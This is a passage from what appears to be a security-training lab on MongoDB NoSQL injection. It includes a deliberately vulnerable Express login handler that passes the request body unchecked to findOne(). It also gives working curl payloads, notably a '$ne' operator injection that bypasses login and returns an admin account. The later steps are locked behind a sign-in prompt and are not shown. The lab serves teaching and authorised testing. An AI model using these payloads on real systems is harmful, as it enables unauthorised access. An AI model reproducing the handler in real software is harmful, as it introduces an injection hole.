Practice library / Web attacks
Lab · Medium · 1.5 hoursFree account
NoSQL Injection
MongoDB operator and regex injection: authentication bypass and blind data extraction.
On this page 14 sections
- ·Why NoSQL Injection Is Different
- ·Prerequisites
- ·Lab Setup
- ·Build the target
- 1Confirm the Backend Passes Objects Straight to MongoDB
- 2Bypass Login with the $ne Operator
- Locked: Compare the Same Payload Across Frameworks
- Locked: Build a Boolean Oracle with $regex
- Locked: Extract the Key One Character at a Time
- Locked: Automate Extraction with Python
- Locked: Confirm Blind Injection with a Timing Oracle
- Locked: Detect and Defend Against NoSQL Injection
- Locked: Check Your Work
- Locked: Clean Up and Next Lab
A MongoDB query is a JSON object, not a string of text, so the classic quote-and-comment payload does nothing. The vulnerability is a handler that passes the request body straight to the driver without checking what the values are — send {"$ne": null} and the comparison always matches. Here you bypass a login with operator injection and extract a hidden field, one character at a time, through a $regex oracle.
Lab Objectives
- Confirm that a JSON API passes request data straight to a MongoDB query
- Bypass a login check with the
$neoperator - Explain why the same operator payload behaves differently on two back ends
- Build a boolean oracle with
$regexto test a value you cannot see - Extract a hidden field one character at a time, by hand and with a script
- Recommend defences that remove the injection class, not just one payload
Why NoSQL Injection Is Different
A relational query is text. You break out of it with a quote and a comment marker. MongoDB's query language is not text — it is a JSON object. Most NoSQL injection happens because a back end hands your JSON straight to the database driver without checking what the values are:
// Vulnerable Node.js/Express handler — no type or shape checking
app.post('/api/login', async (req, res) => {
const user = await db.collection('users').findOne(req.body);
res.json({ success: !!user, username: user?.username, role: user?.role });
});A normal login sends {"username": "guest", "password": "wrongpass"}. MongoDB reads that as "find a user where both fields equal these exact strings." Nothing stops you from sending an object instead of a string for either field. MongoDB's own query operators — $ne, $gt, $regex, $where — then run as query logic, not as data. An injected OR 1=1 runs the same way once it escapes a quote and becomes SQL logic.
Prerequisites
- SQL Injection Deep Dive — do this first. Detecting an injection point and building a boolean or time-based oracle works the same way once you move from SQL text to MongoDB operators.
- Attacking Authentication Mechanisms — covers how login flows fail in general, which this lab's operator-based bypass builds on.
- API & Web Service Attacks — covers sending raw JSON bodies with
curland an intercepting proxy, which every step here depends on. - Comfort with
curl, JSON, and a short Python loop for the automation in Step 6.
Lab Setup
- Attack box. Kali Linux with
curland Python 3 (pip install requestsif the module is missing).
Build the target
KaliRange hosts no targets, no virtual machines and no lab files. You run this lab against two small applications that you build yourself. The addresses below are the example addresses of this lab; use your own.
- Target A — example
10.0.4.40. A Node.js/Express app backed by MongoDB through the officialmongodbdriver, with no schema validation.POST /api/logintakes a JSON body{username, password}; a legacyGET /api/logintakes the same two fields as query-string parameters.POST /api/partner/verifychecks a partner's API key, body{clientId, apiKey}. Each handler passes the request body straight intofindOne(), with no type or shape check. - Target B — example
10.0.4.41. The same application, rebuilt in Python/Flask with PyMongo: the identical endpoints and the same uncheckedfind_one()call, butGET /api/loginaccepts only a JSON body, not query strings (Flask does not expand bracket notation the way Express'sqsparser does). - Seed data, the same in both targets' databases: a
userscollection with four accounts,administrator(roleadmin) inserted first; apartnerscollection with one partner,clientId: "acme-corp", with a 32-character hexadecimalapiKey(the commands use4f29a7c3e8b1d6f0a5c2e9b7d3f1a6c8as the example value; use your own and swap it into the commands and loops). $whereandmapReduceleft enabled, MongoDB's own default, for Step 7.
No public training target reproduces this exact pair of endpoints, so write the two routes yourself: each is a short Express handler and a short Flask handler that call findOne/find_one with the request body unchanged, against a MongoDB container (docker run -d -p 27017:27017 mongo) seeded with the users and partner above. Take a snapshot of each virtual machine, or note the container state, before Step 1.
Legal note. Run every command in this lab only against your own targets, here 10.0.4.40 and 10.0.4.41, and nowhere else. Do not point these payloads at any system you do not own or do not have written authorisation to test.
Step 1: Confirm the Backend Passes Objects Straight to MongoDB
Send a bogus top-level operator and watch the backend break
A normal login fails quietly with "Invalid credentials." Adding a key no MongoDB operator defines forces a database-level error instead, confirming the request body reaches the driver with no checks in between.
# Normal login attempt
curl -s -X POST http://10.0.4.40/api/login \
-H "Content-Type: application/json" \
-d '{"username":"guest","password":"wrongpass"}'
# Add a top-level key no MongoDB operator defines
curl -s -X POST http://10.0.4.40/api/login \
-H "Content-Type: application/json" \
-d '{"username":"guest","password":"wrongpass","$foo":"test"}'Example output:
{"success":false,"message":"Invalid credentials"}
{"error":"MongoServerError: unknown top level operator: $foo"}Why it matters. The first request fails the way a real login must fail on bad credentials. The second returns a raw driver error instead of a generic "bad request" — proof that req.body reaches findOne() unmodified, with every key still live as a possible MongoDB operator.
Step 2: Bypass Login with the $ne Operator
Replace the password with an object MongoDB evaluates as true
$ne matches any document where the field is not equal to the given value. Asking for a password that is "not equal to null" matches almost every account, including ones whose real password you do not know.
curl -s -X POST http://10.0.4.40/api/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'Example output:
{"success":true,"username":"administrator","role":"admin"}Why it matters. You supplied no real username or password, only operators. MongoDB matched the first document where both fields exist and are not null, which on this seed data is the administrator account. On a real engagement the account you land on depends on collection order, so always read the role field the response hands back.
Sign in to continue
8 more sections are for signed-in members. It is free: sign in with Google.